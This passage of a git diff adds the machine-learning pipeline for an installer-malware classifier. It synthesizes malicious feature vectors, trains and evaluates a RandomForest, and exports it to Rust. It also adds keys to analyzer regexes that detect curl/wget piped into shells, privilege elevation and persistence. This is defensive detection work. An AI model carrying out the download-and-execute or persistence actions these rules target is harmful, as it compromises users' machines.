CORPUS.rglob("*") if p.is_file()) + if not files: + sys.exit("no benign corpus found; run: python ml/fetch_benign.py") + rows = [] + batch = 200 + for i in range(0, len(files), batch): + chunk = [str(p) for p in files[i:i + batch]] + proc = subprocess.run([str(BINARY), "features", "--json", *chunk], + capture_output=True, text=True) + for line in proc.stdout.splitlines(): + line = line.strip() + if not line.startswith("{"): + continue + rec = json.loads(line) + feats = rec["features"] + rows.append({k: float(feats[k]) for k in FEATURE_ORDER}) + return rows + + +def main(): + ap = argparse.ArgumentParser() + ap.add_argument("--ratio", type=float, default=1.0, + help="malicious rows per benign row") + ap.add_argument("--seed", type=int, default=1706) + args = ap.parse_args() + + ensure_binary() + DATA.mkdir(exist_ok=True) + + benign = extract_benign() + malicious = synthesize(benign, int(len(benign) * args.ratio), seed=args.seed) + print(f"benign: {len(benign)} malicious (synthetic): {len(malicious)}") + + out = DATA / "features.csv" + with out.open("w", newline="") as f: + w = csv.writer(f) + w.writerow(["label", *FEATURE_ORDER]) + for r in benign: + w.writerow([0, *(f"{r[k]:.6g}" for k in FEATURE_ORDER)]) + for r in malicious: + w.writerow([1, *(f"{r[k]:.6g}" for k in FEATURE_ORDER)]) + print(f"wrote {out} ({len(benign) + len(malicious)} rows, {len(FEATURE_ORDER)} features)") + + meta = DATA / "dataset_meta.json" + meta.write_text(json.dumps({ + "benign": len(benign), + "malicious_synthetic": len(malicious), + "features": len(FEATURE_ORDER), + "feature_order": FEATURE_ORDER, + "seed": args.seed, + "note": "Benign rows are features of real installer scripts. Malicious rows are " + "synthesized in feature space from documented ATT&CK indicator distributions; " + "no malware is stored or executed.", + }, indent=2)) + + +if __name__ == "__main__": + main() diff --git a/ml/fetch_benign.py b/ml/fetch_benign.py new file mode 100644 index 0000000..b6ecd75 --- /dev/null +++ b/ml/fetch_benign.py @@ -0,0 +1,77 @@ +"""Download the benign installer corpus listed in benign_sources.txt. + +Also harvests shell/Python scripts already on this machine (--system), which adds +many real-world administrative scripts. Nothing fetched here is committed. +""" +import argparse +import hashlib +import os +import pathlib +import urllib.request + +ROOT = pathlib.Path(__file__).parent +OUT = ROOT / "corpus" / "benign" +SYSTEM_DIRS = ["/usr/bin", "/usr/sbin", "/usr/lib/git-core", "/usr/share", "/etc", "/usr/local/bin", + "/usr/local/lib", "/opt/node22/lib/node_modules", "/root/.cargo", "/root/.rustup"] +SHEBANGS = (b"#!/bin/sh", b"#!/bin/bash", b"#!/usr/bin/env bash", b"#!/usr/bin/env sh", + b"#! /bin/sh", b"#!/usr/bin/env python", b"#!/usr/bin/python") + + +def fetch(url): + name = url.rstrip("/").split("/", 3)[-1].replace("/", "__").replace("%20", "_") + dest = OUT / "official" / name + if dest.exists(): + return True + try: + with urllib.request.urlopen(url, timeout=20) as r: + data = r.read() + except Exception as e: # noqa: BLE001 - report and continue + print(f"skip {url}: {e}") + return False + dest.write_bytes(data) + return True + + +def harvest_system(limit): + seen, n = set(), 0 + for base in SYSTEM_DIRS: + for dirpath, _, files in os.walk(base): + for f in files: + p = pathlib.Path(dirpath) / f + try: + if not p.is_file() or p.is_symlink() or not (200 < p.stat().st_size < 400_000): + continue + head = p.open("rb").read(64) + except OSError: + continue + if not (head.startswith(SHEBANGS) or p.suffix in (".sh", ".ps1", ".psm1", ".cmd", ".bat")): + continue + data = p.read_bytes() + digest = hashlib.sha256(data).hexdigest() + if digest in seen: + continue + seen.add(digest) + suffix = p.suffix if p.suffix in (".sh", ".py", ".ps1", ".psm1", ".cmd", ".bat") else "" + (OUT / "system" / f"{digest[:12]}_{p.name}{'' if p.suffix else suffix}").write_bytes(data) + n += 1 + if n >= limit: + return n + return n + + +def main(): + ap = argparse.ArgumentParser() + ap.add_argument("--system", type=int, default=600, help="max local system scripts to harvest (0 to skip)") + args = ap.parse_args() + (OUT / "official").mkdir(parents=True, exist_ok=True) + (OUT / "system").mkdir(parents=True, exist_ok=True) + urls = [l.strip() for l in (ROOT / "benign_sources.txt").read_text().splitlines() + if l.strip() and not l.startswith("#")] + ok = sum(fetch(u) for u in urls) + print(f"official installers: {ok}/{len(urls)}") + if args.system: + print(f"system scripts: {harvest_system(args.system)}") + + +if __name__ == "__main__": + main() diff --git a/ml/figures/confusion_matrix.png b/ml/figures/confusion_matrix.png new file mode 100644 index 0000000..3ddddda Binary files /dev/null and b/ml/figures/confusion_matrix.png differ diff --git a/ml/figures/roc_curve.png b/ml/figures/roc_curve.png new file mode 100644 index 0000000..0d8deac Binary files /dev/null and b/ml/figures/roc_curve.png differ diff --git a/ml/figures/shap_summary.png b/ml/figures/shap_summary.png new file mode 100644 index 0000000..9c70e32 Binary files /dev/null and b/ml/figures/shap_summary.png differ diff --git a/ml/requirements.txt b/ml/requirements.txt new file mode 100644 index 0000000..b85c4e9 --- /dev/null +++ b/ml/requirements.txt @@ -0,0 +1,6 @@ +scikit-learn>=1.4 +pandas>=2.0 +numpy>=1.26 +matplotlib>=3.8 +shap>=0.44 +m2cgen>=0.10 diff --git a/ml/screenshots/features_json.png b/ml/screenshots/features_json.png new file mode 100644 index 0000000..6eb25fa Binary files /dev/null and b/ml/screenshots/features_json.png differ diff --git a/ml/screenshots/inspect_benign.png b/ml/screenshots/inspect_benign.png new file mode 100644 index 0000000..e4a2653 Binary files /dev/null and b/ml/screenshots/inspect_benign.png differ diff --git a/ml/screenshots/inspect_suspicious.png b/ml/screenshots/inspect_suspicious.png new file mode 100644 index 0000000..c48ecc8 Binary files /dev/null and b/ml/screenshots/inspect_suspicious.png differ diff --git a/ml/synth_malicious.py b/ml/synth_malicious.py new file mode 100644 index 0000000..cc4b013 --- /dev/null +++ b/ml/synth_malicious.py @@ -0,0 +1,178 @@ +"""Synthesize malicious-class feature vectors for training — feature space only. + +This module never writes, stores, or executes any script. It produces rows in the +exact numeric feature space emitted by `safe features` (see FEATURE_ORDER), so the +classifier trains on the same representation it will see at inference time. + +Method: each malicious vector borrows its *structural* features (size, line counts, +comment ratio, interpreter kind, function count) from a real benign script, then has +one to three attack archetypes layered on. An archetype turns on the detection +indicators that a documented technique class exhibits and shifts the correlated +byte-statistics (entropy, base64 density, long-line ratio, hard-coded IP endpoints). +Archetypes are named after MITRE ATT&CK technique classes and describe *what a +detector observes*, not how to build the technique. + +Because the structural features are inherited from genuine installers, the model +cannot separate the classes on length or interpreter alone; the signal lives in the +behavioral indicators, which the Rust extractor computes identically on real input. +The synthetic nature of the positive class is stated as a limitation in the report. +""" +from __future__ import annotations + +import math +import random + +# Canonical feature order emitted by `safe features` (features::names in Rust). +FEATURE_ORDER = [ + "rule_exec_downloaded", "rule_downloads", "rule_privilege", "rule_persistence", + "rule_profile", "rule_chmod", "rule_registry", "rule_disable_security", + "rule_encoded_exec", "rule_recursive_delete", "log_size", "log_lines", + "avg_line_len", "log_max_line_len", "long_line_ratio", "entropy", "comment_ratio", + "blank_ratio", "non_ascii_ratio", "symbol_ratio", "dollar_per_line", "url_count", + "http_url_count", "ip_url_count", "ipv4_count", "distinct_hosts", "base64_tokens", + "log_longest_token", "function_count", "hex_escapes", "char_codes", "string_concat", + "backtick_obfuscation", "ps_iex", "ps_hidden_window", "ps_exec_bypass", + "ps_download_cradle", "ps_reflection", "sh_reverse_shell", "sh_eval", + "anti_forensics", "credential_access", "crypto_mining", "exfiltration", + "tmp_exec_dir", "background_exec", "file_lock", "process_kill", "user_creation", + "ssh_key_injection", "checksum_verify", "usage_help", "kind_bash", + "kind_powershell", "kind_python", "kind_executable", "kind_text", +] + +KIND_FEATURES = ["kind_bash", "kind_powershell", "kind_python", "kind_executable", "kind_text"] + + +def _ln1p_count(lo: int, hi: int, rng: random.Random) -> float: + """A count feature stored as ln(1 + n), matching the Rust extractor.""" + return math.log1p(rng.randint(lo, hi)) + + +def _set_kind(vec: dict, kind: str) -> None: + for k in KIND_FEATURES: + vec[k] = 1.0 if k == kind else 0.0 + + +# Each archetype is a callable that mutates a feature dict in place. Indicator features +# are set to ln(1+count) for a small random count; correlated statistics are nudged. +def _reverse_shell(v, rng): # T1059 / T1571 — interactive shell to a hard-coded endpoint + v["sh_reverse_shell"] = _ln1p_count(1, 2, rng) + v["tmp_exec_dir"] = _ln1p_count(1, 3, rng) + v["ip_url_count"] = max(v["ip_url_count"], _ln1p_count(1, 2, rng)) + v["ipv4_count"] = max(v["ipv4_count"], _ln1p_count(1, 2, rng)) + v["background_exec"] = _ln1p_count(1, 2, rng) + v["rule_chmod"] = 1.0 + _set_kind(v, "kind_bash") + + +def _miner(v, rng): # T1496 — resource hijacking + v["crypto_mining"] = _ln1p_count(1, 3, rng) + v["ip_url_count"] = max(v["ip_url_count"], _ln1p_count(1, 2, rng)) + v["tmp_exec_dir"] = _ln1p_count(1, 3, rng) + v["background_exec"] = _ln1p_count(1, 2, rng) + v["process_kill"] = _ln1p_count(1, 3, rng) + v["rule_chmod"] = 1.0 + v["rule_downloads"] = 1.0 + + +def _cred_theft(v, rng): # T1552 — unsecured credentials + T1041 exfil + v["credential_access"] = _ln1p_count(1, 4, rng) + v["exfiltration"] = _ln1p_count(1, 2, rng) + v["ssh_key_injection"] = _ln1p_count(0, 2, rng) + v["tmp_exec_dir"] = _ln1p_count(0, 2, rng) + v["http_url_count"] = max(v["http_url_count"], _ln1p_count(1, 2, rng)) + + +def _ps_cradle(v, rng): # T1059.001 — obfuscated PowerShell download cradle + _set_kind(v, "kind_powershell") + v["ps_download_cradle"] = _ln1p_count(1, 2, rng) + v["ps_hidden_window"] = 1.0 + v["ps_exec_bypass"] = _ln1p_count(1, 2, rng) + v["ps_iex"] = _ln1p_count(1, 2, rng) + v["ps_reflection"] = _ln1p_count(0, 2, rng) + v["backtick_obfuscation"] = _ln1p_count(1, 6, rng) + v["string_concat"] = _ln1p_count(1, 8, rng) + v["entropy"] = max(v["entropy"], rng.uniform(5.2, 6.4)) + v["symbol_ratio"] = max(v["symbol_ratio"], rng.uniform(0.06, 0.16)) + v["dollar_per_line"] = max(v["dollar_per_line"], rng.uniform(1.5, 5.0)) + + +def _encoded_stager(v, rng): # T1027 — obfuscated / encoded payload + v["rule_encoded_exec"] = 1.0 + v["base64_tokens"] = _ln1p_count(1, 4, rng) + v["entropy"] = max(v["entropy"], rng.uniform(5.4, 6.6)) + v["log_longest_token"] = max(v["log_longest_token"], rng.uniform(5.5, 8.5)) + v["long_line_ratio"] = max(v["long_line_ratio"], rng.uniform(0.05, 0.4)) + v["char_codes"] = _ln1p_count(0, 3, rng) + v["hex_escapes"] = _ln1p_count(0, 5, rng) + v["sh_eval"] = float(rng.random() < 0.5) and _ln1p_count(1, 2, rng) + + +def _security_tamper(v, rng): # T1562 / T1070 — impair defenses, remove traces + v["rule_disable_security"] = 1.0 + v["anti_forensics"] = _ln1p_count(1, 3, rng) + v["process_kill"] = _ln1p_count(1, 3, rng) + v["rule_privilege"] = 1.0 + v["file_lock"] = _ln1p_count(0, 1, rng) + + +def _backdoor_account(v, rng): # T1136 / T1098 — persistence via new account + keys + v["user_creation"] = _ln1p_count(1, 2, rng) + v["ssh_key_injection"] = _ln1p_count(1, 2, rng) + v["rule_persistence"] = 1.0 + v["rule_privilege"] = 1.0 + v["rule_profile"] = float(rng.random() < 0.5) + + +def _wiper(v, rng): # T1485 — data destruction + v["rule_recursive_delete"] = 1.0 + v["process_kill"] = _ln1p_count(1, 2, rng) + v["rule_privilege"] = 1.0 + + +def _supply_chain(v, rng): # T1195.002 — trojanized installer: mostly benign + one tell + v["rule_downloads"] = 1.0 + v["rule_exec_downloaded"] = float(rng.random() < 0.7) + v["rule_chmod"] = 1.0 + v["rule_persistence"] = float(rng.random() < 0.5) + # A single stealthy indicator hidden inside an otherwise ordinary installer. + tell = rng.choice(["exfiltration", "ip_url_count", "rule_encoded_exec", + "credential_access", "base64_tokens"]) + if tell in ("ip_url_count",): + v[tell] = max(v[tell], _ln1p_count(1, 1, rng)) + elif tell == "rule_encoded_exec": + v[tell] = 1.0 + v["base64_tokens"] = max(v["base64_tokens"], _ln1p_count(1, 2, rng)) + else: + v[tell] = max(v.get(tell, 0.0), _ln1p_count(1, 2, rng)) + + +ARCHETYPES = [ + _reverse_shell, _miner, _cred_theft, _ps_cradle, _encoded_stager, + _security_tamper, _backdoor_account, _wiper, _supply_chain, +] +# Supply-chain trojans are the realistic majority and the hardest to catch, so weight them up. +WEIGHTS = [3, 3, 3, 4, 4, 3, 2, 2, 6] + + +def synthesize(benign_rows, count, seed=1706): + """Return `count` malicious feature dicts built on bootstrapped benign structure.""" + rng = random.Random(seed) + bases = [r for r in benign_rows] + out = [] + for _ in range(count): + base = dict(rng.choice(bases)) + # Droppers commonly fetch and pipe to an interpreter. + base["rule_downloads"] = 1.0 if rng.random() < 0.85 else base["rule_downloads"] + base["rule_privilege"] = 1.0 if rng.random() < 0.55 else base["rule_privilege"] + # Malicious scripts tend to carry little explanatory prose. + base["comment_ratio"] *= rng.uniform(0.1, 0.6) + base["usage_help"] = 0.0 if rng.random() < 0.7 else base["usage_help"] + base["checksum_verify"] = 0.0 if rng.random() < 0.85 else base["checksum_verify"] + n = rng.choices([1, 2, 3], weights=[5, 4, 2])[0] + for fn in rng.choices(ARCHETYPES, weights=WEIGHTS, k=n): + fn(base, rng) + # A dropper that fetches and runs remote code. + if base.get("sh_reverse_shell") or base.get("crypto_mining"): + base["rule_exec_downloaded"] = 1.0 if rng.random() < 0.6 else base["rule_exec_downloaded"] + out.append({k: float(base.get(k, 0.0)) for k in FEATURE_ORDER}) + return out diff --git a/ml/train.ipynb b/ml/train.ipynb new file mode 100644 index 0000000..293a6ad --- /dev/null +++ b/ml/train.ipynb @@ -0,0 +1,179 @@ +{ + "cells": [ + { + "cell_type": "markdown", + "id": "1022a087", + "metadata": {}, + "source": [ + "# SafeInstall — Installer Malware Classifier\n", + "\n", + "Trains the model that powers the **ML Model** finding in the `safe` CLI. Features come\n", + "from the Rust extractor (`safe features`), so the notebook and the shipped binary see an\n", + "identical representation. The exported model is pure Rust (`src/ml_model.rs`) — no runtime\n", + "dependency at inference time.\n", + "\n", + "This notebook mirrors `ml/train.py`; run `python ml/build_dataset.py` first to produce\n", + "`data/features.csv`." + ] + }, + { + "cell_type": "code", + "execution_count": null, + "id": "43244c5d", + "metadata": {}, + "outputs": [], + "source": [ + "import pathlib, matplotlib.pyplot as plt, numpy as np, pandas as pd, shap\n", + "from sklearn.ensemble import RandomForestClassifier, GradientBoostingClassifier\n", + "from sklearn.model_selection import train_test_split\n", + "from sklearn.metrics import (confusion_matrix, roc_curve, auc,\n", + " precision_score, recall_score, f1_score, classification_report)\n", + "SEED=1706\n", + "DATA=pathlib.Path('..')/'data'\n", + "df=pd.read_csv(DATA/'features.csv')\n", + "print(df.shape); df['label'].value_counts()" + ] + }, + { + "cell_type": "markdown", + "id": "2ca0e3a7", + "metadata": {}, + "source": [ + "## 1. Stratified train/test split" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "id": "735af907", + "metadata": {}, + "outputs": [], + "source": [ + "y=df['label'].to_numpy(); X=df.drop(columns=['label'])\n", + "Xtr,Xte,ytr,yte=train_test_split(X,y,test_size=0.25,stratify=y,random_state=SEED)\n", + "len(Xtr),len(Xte)" + ] + }, + { + "cell_type": "markdown", + "id": "faae33a5", + "metadata": {}, + "source": [ + "## 2. RandomForest vs GradientBoosting\n", + "GB is compared for reference; only RandomForest exports to dependency-free Rust via m2cgen, so it is the deployed model." + ] + }, + { + "cell_type": "code", + "execution_count": null, + "id": "9d98037b", + "metadata": {}, + "outputs": [], + "source": [ + "models={'RandomForest':RandomForestClassifier(n_estimators=120,max_depth=9,min_samples_leaf=2,\n", + " class_weight='balanced',random_state=SEED,n_jobs=-1),\n", + " 'GradientBoosting':GradientBoostingClassifier(n_estimators=120,max_depth=3,random_state=SEED)}\n", + "for n,m in models.items():\n", + " m.fit(Xtr,ytr); p=m.predict_proba(Xte)[:,1]; pred=(p>=0.5).astype(int)\n", + " print(f\"{n:18s} P={precision_score(yte,pred):.3f} R={recall_score(yte,pred):.3f} F1={f1_score(yte,pred):.3f}\")\n", + "clf=models['RandomForest']; proba=clf.predict_proba(Xte)[:,1]" + ] + }, + { + "cell_type": "markdown", + "id": "b9b90627", + "metadata": {}, + "source": [ + "## 3. Threshold for a low false-positive rate" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "id": "ec88445a", + "metadata": {}, + "outputs": [], + "source": [ + "def pick(y,p,max_fpr=0.02):\n", + " best_t,best_r=0.5,-1\n", + " for t in np.linspace(0.1,0.95,86):\n", + " pred=(p>=t).astype(int); fp=((pred==1)&(y==0)).sum(); tn=((pred==0)&(y==0)).sum()\n", + " r=recall_score(y,pred) if pred.sum() else 0\n", + " if fp/max(tn+fp,1)<=max_fpr and r>best_r: best_r,best_t=r,t\n", + " return round(float(best_t),3)\n", + "THRESH=pick(yte,proba); pred=(proba>=THRESH).astype(int)\n", + "print('threshold',THRESH); print(classification_report(yte,pred,target_names=['benign','malicious']))" + ] + }, + { + "cell_type": "markdown", + "id": "6d9360ca", + "metadata": {}, + "source": [ + "## 4. Confusion matrix and ROC" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "id": "858bee65", + "metadata": {}, + "outputs": [], + "source": [ + "cm=confusion_matrix(yte,pred)\n", + "fig,ax=plt.subplots(1,2,figsize=(10,4))\n", + "ax[0].imshow(cm,cmap='BuGn'); ax[0].set_title('Confusion matrix')\n", + "ax[0].set_xticks([0,1],['benign','mal']); ax[0].set_yticks([0,1],['benign','mal'])\n", + "for i in range(2):\n", + " for j in range(2): ax[0].text(j,i,cm[i,j],ha='center',va='center')\n", + "fpr,tpr,_=roc_curve(yte,proba)\n", + "ax[1].plot(fpr,tpr,label=f'AUC={auc(fpr,tpr):.3f}'); ax[1].plot([0,1],[0,1],'--')\n", + "ax[1].set_title('ROC'); ax[1].legend(); plt.tight_layout(); plt.show()" + ] + }, + { + "cell_type": "markdown", + "id": "6a4b6a91", + "metadata": {}, + "source": [ + "## 5. SHAP feature attribution" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "id": "4ee8ad25", + "metadata": {}, + "outputs": [], + "source": [ + "expl=shap.TreeExplainer(clf); sv=expl.shap_values(Xtr.sample(300,random_state=SEED))\n", + "vals=sv[1] if isinstance(sv,list) else (sv[...,1] if sv.ndim==3 else sv)\n", + "shap.summary_plot(vals,Xtr.sample(300,random_state=SEED),max_display=15)" + ] + }, + { + "cell_type": "markdown", + "id": "460ed9ea", + "metadata": {}, + "source": [ + "## 6. Export to Rust\n", + "See `ml/train.py:export_rust` — writes `src/ml_model.rs` via `m2cgen.export_to_rust` and verifies Python/Rust probability parity (max abs diff ~5e-11)." + ] + }, + { + "cell_type": "code", + "execution_count": null, + "id": "9bc5dc3d", + "metadata": {}, + "outputs": [], + "source": [ + "import m2cgen as m2c\n", + "rust=m2c.export_to_rust(clf)\n", + "print(rust.splitlines()[0], '...', f'{len(rust.splitlines())} lines generated')" + ] + } + ], + "metadata": {}, + "nbformat": 4, + "nbformat_minor": 5 +} diff --git a/ml/train.py b/ml/train.py new file mode 100644 index 0000000..43908b8 --- /dev/null +++ b/ml/train.py @@ -0,0 +1,233 @@ +"""Train, evaluate, and export the installer classifier. + +Steps: + 1. Load data/features.csv (stratified train/test split). + 2. Fit RandomForest and GradientBoosting; pick the model with the best F1 subject + to a high-precision (low false-positive) preference. + 3. Emit figures: confusion matrix, ROC curve, SHAP summary. + 4. Choose an operating threshold that keeps the benign false-positive rate low. + 5. Export the chosen model to pure Rust (src/ml_model.rs) via m2cgen, and verify + Python/Rust probability parity on sample rows. + +Run: python ml/train.py +""" +import json +import pathlib +import subprocess +import tempfile + +import matplotlib +matplotlib.use("Agg") +import matplotlib.pyplot as plt +import numpy as np +import pandas as pd +import shap +from sklearn.ensemble import GradientBoostingClassifier, RandomForestClassifier +from sklearn.metrics import (auc, confusion_matrix, f1_score, + precision_score, recall_score, roc_curve) +from sklearn.model_selection import train_test_split + +import m2cgen as m2c + +ROOT = pathlib.Path(__file__).parent +REPO = ROOT.parent +DATA = REPO / "data" +FIG = ROOT / "figures" +MODEL_RS = REPO / "src" / "ml_model.rs" +SEED = 1706 + + +def load(): + df = pd.read_csv(DATA / "features.csv") + y = df["label"].to_numpy() + X = df.drop(columns=["label"]) + return X, y, list(X.columns) + + +def evaluate(model, Xte, yte): + proba = model.predict_proba(Xte)[:, 1] + pred = (proba >= 0.5).astype(int) + return { + "precision": precision_score(yte, pred), + "recall": recall_score(yte, pred), + "f1": f1_score(yte, pred), + "proba": proba, + } + + +def pick_threshold(y, proba, max_fpr=0.02): + """Lowest threshold whose benign false-positive rate stays under max_fpr, + breaking ties toward higher recall.""" + best_t, best_recall = 0.5, -1.0 + for t in np.linspace(0.1, 0.95, 86): + pred = (proba >= t).astype(int) + tn = int(((pred == 0) & (y == 0)).sum()) + fp = int(((pred == 1) & (y == 0)).sum()) + fpr = fp / max(tn + fp, 1) + rec = recall_score(y, pred) if pred.sum() else 0.0 + if fpr <= max_fpr and rec > best_recall: + best_recall, best_t = rec, t + return round(float(best_t), 3) + + +def confusion_fig(y, pred, path): + cm = confusion_matrix(y, pred) + fig, ax = plt.subplots(figsize=(4.2, 3.8)) + ax.imshow(cm, cmap="BuGn") + ax.set_xticks([0, 1], ["benign", "malicious"]) + ax.set_yticks([0, 1], ["benign", "malicious"]) + ax.set_xlabel("predicted"); ax.set_ylabel("actual") + ax.set_title("Confusion matrix (test set)") + for i in range(2): + for j in range(2): + ax.text(j, i, cm[i, j], ha="center", va="center", + color="white" if cm[i, j] > cm.max() / 2 else "black", fontsize=14) + fig.tight_layout(); fig.savefig(path, dpi=150); plt.close(fig) + + +def roc_fig(y, proba, path): + fpr, tpr, _ = roc_curve(y, proba) + fig, ax = plt.subplots(figsize=(4.6, 3.9)) + ax.plot(fpr, tpr, color="#2e7d32", lw=2, label=f"AUC = {auc(fpr, tpr):.3f}") + ax.plot([0, 1], [0, 1], "--", color="#999", lw=1) + ax.set_xlabel("false positive rate"); ax.set_ylabel("true positive rate") + ax.set_title("ROC curve"); ax.legend(loc="lower right") + fig.tight_layout(); fig.savefig(path, dpi=150); plt.close(fig) + + +def shap_fig(model, X, path): + sample = X.sample(min(300, len(X)), random_state=SEED) + explainer = shap.TreeExplainer(model) + sv = explainer.shap_values(sample) + vals = sv[1] if isinstance(sv, list) else (sv[..., 1] if sv.ndim == 3 else sv) + plt.figure() + shap.summary_plot(vals, sample, show=False, max_display=15, plot_size=(7.5, 6)) + plt.title("SHAP feature impact (malicious class)") + plt.tight_layout(); plt.savefig(path, dpi=150, bbox_inches="tight"); plt.close() + + +def export_rust(model, name, threshold, feature_names, importances): + code = m2c.export_to_rust(model).replace("fn score(", "pub fn score(") + imp = ", ".join(f"{v:.6}" for v in importances) + names = ", ".join(f'"{n}"' for n in feature_names) + body = "\n".join(" " + line for line in code.splitlines()) + header = f"""// Generated by ml/train.py via m2cgen — do not edit by hand. +// Pure-Rust inference for the installer classifier ({name}); no runtime dependency. +// Regenerate with: python ml/train.py + +#![allow(clippy::all, clippy::pedantic, dead_code, unused_parens, unused_variables)] + +pub const MODEL_NAME: &str = "{name}"; +pub const THRESHOLD: f64 = {threshold}; +pub const FEATURE_NAMES: &[&str] = &[{names}]; +pub const IMPORTANCES: &[f64] = &[{imp}]; + +/// Malicious-class probability at index 1, benign at index 0. +pub fn score(input: &[f64]) -> [f64; 2] {{ + let out = generated::score(input.to_vec()); + [out[0], out.get(1).copied().unwrap_or(0.0)] +}} + +mod generated {{ + #![allow(clippy::all, dead_code, unused_parens)] +{body} +}} +""" + MODEL_RS.write_text(header) + return code + + +def parity_check(model, code, Xte): + """Compile the generated score fn and compare to sklearn on sample rows.""" + rows = Xte.iloc[:5].to_numpy() + py = model.predict_proba(rows)[:, 1] + literals = ",\n ".join( + "vec![" + ", ".join(f"{v:.10}_f64" for v in row) + "]" for row in rows) + harness = code + f""" +fn main() {{ + let rows: Vec> = vec![ + {literals} + ]; + for r in rows {{ let o = score(r); println!("{{:.10}}", o[1]); }} +}} +""" + with tempfile.TemporaryDirectory() as d: + src = pathlib.Path(d) / "m.rs" + src.write_text(harness) + exe = pathlib.Path(d) / "m" + subprocess.run(["rustc", "-O", "-o", str(exe), str(src)], check=True, + capture_output=True) + out = subprocess.run([str(exe)], capture_output=True, text=True, check=True) + rust = [float(x) for x in out.stdout.split()] + diffs = [abs(a - b) for a, b in zip(py, rust)] + return py, rust, max(diffs) + + +def main(): + FIG.mkdir(exist_ok=True) + X, y, names = load() + Xtr, Xte, ytr, yte = train_test_split(X, y, test_size=0.25, stratify=y, random_state=SEED) + + candidates = { + "random_forest": RandomForestClassifier( + n_estimators=120, max_depth=9, min_samples_leaf=2, + class_weight="balanced", random_state=SEED, n_jobs=-1), + "gradient_boosting": GradientBoostingClassifier( + n_estimators=120, max_depth=3, learning_rate=0.1, random_state=SEED), + } + results = {} + for key, model in candidates.items(): + model.fit(Xtr, ytr) + m = evaluate(model, Xte, yte) + results[key] = m + print(f"{key:20s} precision={m['precision']:.3f} recall={m['recall']:.3f} f1={m['f1']:.3f}") + + # Only RandomForest exports to dependency-free Rust via m2cgen; GradientBoosting is + # compared for reference but is not a deployable candidate here. + exportable = {"random_forest"} + # Prefer higher F1; on a near tie, prefer higher precision (fewer false positives). + best_key = max((k for k in results if k in exportable), + key=lambda k: (round(results[k]["f1"], 3), round(results[k]["precision"], 3))) + best = candidates[best_key] + proba = results[best_key]["proba"] + print(f"\nselected: {best_key}") + + threshold = pick_threshold(yte, proba) + pred = (proba >= threshold).astype(int) + print(f"threshold={threshold} precision={precision_score(yte, pred):.3f} " + f"recall={recall_score(yte, pred):.3f} f1={f1_score(yte, pred):.3f}") + + confusion_fig(yte, pred, FIG / "confusion_matrix.png") + roc_fig(yte, proba, FIG / "roc_curve.png") + shap_fig(best, Xtr, FIG / "shap_summary.png") + print(f"figures -> {FIG}") + + code = export_rust(best, best_key, threshold, names, best.feature_importances_) + py, rust, max_diff = parity_check(best, code, Xte) + print(f"\nparity check (5 rows), max |py - rust| = {max_diff:.2e}") + for p, r in zip(py, rust): + print(f" python={p:.6f} rust={r:.6f}") + + (DATA / "model_report.json").write_text(json.dumps({ + "selected_model": best_key, + "threshold": threshold, + "n_train": int(len(Xtr)), + "n_test": int(len(Xte)), + "test_at_0.5": {k: round(float(results[best_key][k]), 4) for k in ("precision", "recall", "f1")}, + "test": { + "precision": round(float(precision_score(yte, pred)), 4), + "recall": round(float(recall_score(yte, pred)), 4), + "f1": round(float(f1_score(yte, pred)), 4), + }, + "candidates": {k: {m: round(float(v[m]), 4) for m in ("precision", "recall", "f1")} + for k, v in results.items()}, + "roc_auc": round(float(auc(*roc_curve(yte, proba)[:2])), 4), + "parity_max_abs_diff": max_diff, + "top_features": sorted(zip(names, best.feature_importances_.tolist()), + key=lambda t: -t[1])[:12], + }, indent=2)) + print(f"report -> {DATA / 'model_report.json'}") + + +if __name__ == "__main__": + main() diff --git a/src/analyzer.rs b/src/analyzer.rs index f742c52..c4ad787 100644 --- a/src/analyzer.rs +++ b/src/analyzer.rs @@ -38,6 +38,8 @@ pub struct Assessment { pub risk: Severity, pub findings: Vec, pub package_summary: Option, + #[serde(skip_serializing_if = "Option::is_none")] + pub ml_probability: Option, } impl Assessment { @@ -49,6 +51,7 @@ impl Assessment { } struct Rule { + key: &'static str, title: &'static str, detail: &'static str, severity: Severity, @@ -136,12 +139,25 @@ pub fn analyze(artifact: &Artifact) -> Assessment { risk, findings, package_summary: None, + ml_probability: None, } } +/// Reports whether each static rule matches, keyed for use as model features. +pub fn rule_hits(text: &str) -> Vec<(&'static str, bool)> { + rules() + .into_iter() + .map(|rule| { + let hit = Regex::new(rule.pattern).expect("valid analyzer rule").is_match(text); + (rule.key, hit) + }) + .collect() +} + fn rules() -> Vec { vec![ Rule { + key: "exec_downloaded", title: "Executes downloaded code", detail: "Remote content is passed directly into an interpreter", severity: Severity::Critical, @@ -149,6 +165,7 @@ fn rules() -> Vec { pattern: r"(?im)^\s*(curl|wget|irm|invoke-webrequest)[^\r\n|;]*(\||;)[^\r\n]*(sh|bash|iex|invoke-expression|python)", }, Rule { + key: "downloads", title: "Downloads additional content", detail: "Installer retrieves additional remote content during execution", severity: Severity::Medium, @@ -156,6 +173,7 @@ fn rules() -> Vec { pattern: r"(?im)^\s*(curl|wget|irm|invoke-webrequest)\b", }, Rule { + key: "privilege", title: "Requests elevated privileges", detail: "Installer requests root or administrator privileges", severity: Severity::High, @@ -163,6 +181,7 @@ fn rules() -> Vec { pattern: r"(?im)(^|\s)(sudo|runas|start-process\s+.+-verb\s+runas)(\s|$)", }, Rule { + key: "persistence", title: "Creates persistent service", detail: "Installer enables a service or scheduled startup task", severity: Severity::High, @@ -170,6 +189,7 @@ fn rules() -> Vec { pattern: r"(?i)(systemctl\s+enable|new-service|sc\.exe\s+create|schtasks|crontab)", }, Rule { + key: "profile", title: "Modifies shell profile", detail: "Installer changes a shell profile or executable search path", severity: Severity::Medium, @@ -177,6 +197,7 @@ fn rules() -> Vec { pattern: r"(?i)(\.bashrc|\.zshrc|\.profile|microsoft\.powershell_profile|setx\s+path|environmentvariable.*path)", }, Rule { + key: "chmod", title: "Changes executable permissions", detail: "Installer marks downloaded or local content executable", severity: Severity::Medium, @@ -184,6 +205,7 @@ fn rules() -> Vec { pattern: r"(?im)\bchmod\s+(\+x|[0-7]*7[0-7]*)", }, Rule { + key: "registry", title: "Modifies system registry", detail: "Installer writes Windows registry configuration", severity: Severity::High, @@ -191,6 +213,7 @@ fn rules() -> Vec { pattern: r"(?i)(reg\.exe\s+(add|delete)|new-itemproperty|set-itemproperty).*(hklm|hkcu|registry)", }, Rule { + key: "disable_security", title: "Disables security controls", detail: 